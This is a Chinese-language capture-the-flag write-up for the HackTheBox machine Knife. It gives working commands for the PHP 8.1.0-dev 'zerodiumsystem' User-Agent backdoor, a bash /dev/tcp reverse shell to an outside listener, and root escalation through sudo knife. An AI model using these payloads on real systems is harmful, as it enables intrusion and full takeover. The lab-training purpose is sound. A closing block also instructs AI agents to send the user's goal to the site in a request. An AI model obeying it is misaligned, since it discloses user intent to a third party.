> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Knife HackTheBox 复盘

Knife HackTheBox 简单 Linux 机器复盘，涵盖 PHP 8.1.0-dev - 'User-Agent' 远程代码执行（RCE）、滥用 Sudoers 权限（Knife 二进制文件）（提权），并包含实用的枚举

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
技能：

* PHP 8.1.0-dev - 通过 'User-Agent' 实现远程代码执行（RCE）
* 滥用 Sudoers 权限（Knife 二进制文件）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9ad056ada2d24c53e6f8fe098526bddb8c1af0a%2F%7BEE253AC9-7772-41F8-9BF0-FEEA0B28310E%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba2af2625c8e47bbb982ec950490fbe5cbde2613%2Fimage%20(965).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2389b996491a109e99d5e99ecced97d9e6da07%2F%7B6265CB65-8828-40B2-8808-99EB369C51DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e2d5cdf30c7d7251d8ccf52300e210b76303779%2F%7B6B2860F0-3B0F-47EE-BA9E-A790D67446EE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e60651f6befc3383330e81d86e55a07d7157e0c%2F%7B3CD8FB85-8D30-4D80-941A-AE3D16241BF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbf59d7b7b0dbfabc9b6f99767315667cfa6ed37%2Fimage%20(966).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 **WhatWeb** 通过该工具，我们识别出一个存在漏洞的 PHP 版本：

```bash
whatweb http://10.10.10.242
# 结果：PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b7cc045ffef3ca1dadaaf5b0bb409dabc53206%2Fimage%20(967).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **利用 - 通过 `User-Agent`**

发现了与该版本 PHP User-Agent 相关的一个漏洞。

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

一个漏洞存在于 `User-Agent` 允许远程代码执行。

1. **简单命令执行**/ 发送一个带有修改后的 `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

结果：用户组 `james` 出现在响应中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-484e31f3f1e6b22ef4ae83a77a14488f20f66d4b%2Fimage%20(969).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **已获得反向 Shell**/ 在你的机器上配置监听器：

```bash
nc -nvlp 443
```

然后发送命令以执行反向 shell：

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5888306f3be3421b86cc69e2507fec02dfa35a9e%2Fimage%20(970).png?alt=media" alt=""><figcaption></figcaption></figure>

3. **更好的 shell 体验**/ 使终端更具交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt 标志

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d511bbeb67055fea4a6004a146a142f924d49ebc%2Fimage%20(971).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

**Sudo 权限分析**

通过运行 `sudo -l`，我们观察到该用户可以运行 `knife` 二进制文件以 root 身份运行：

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

GTFOBins 上将此二进制文件标记为可用于权限提升。

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**利用**

使用上述命令获取 root shell。

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0fc531b03eb86b4bb1db3964e43d45315e4cfe67%2Fimage%20(973).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9870c843f867046a1fd36e9516acfd0917ddb457%2F%7B596F43C4-0308-44B2-93F2-FD4003DA47F5%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
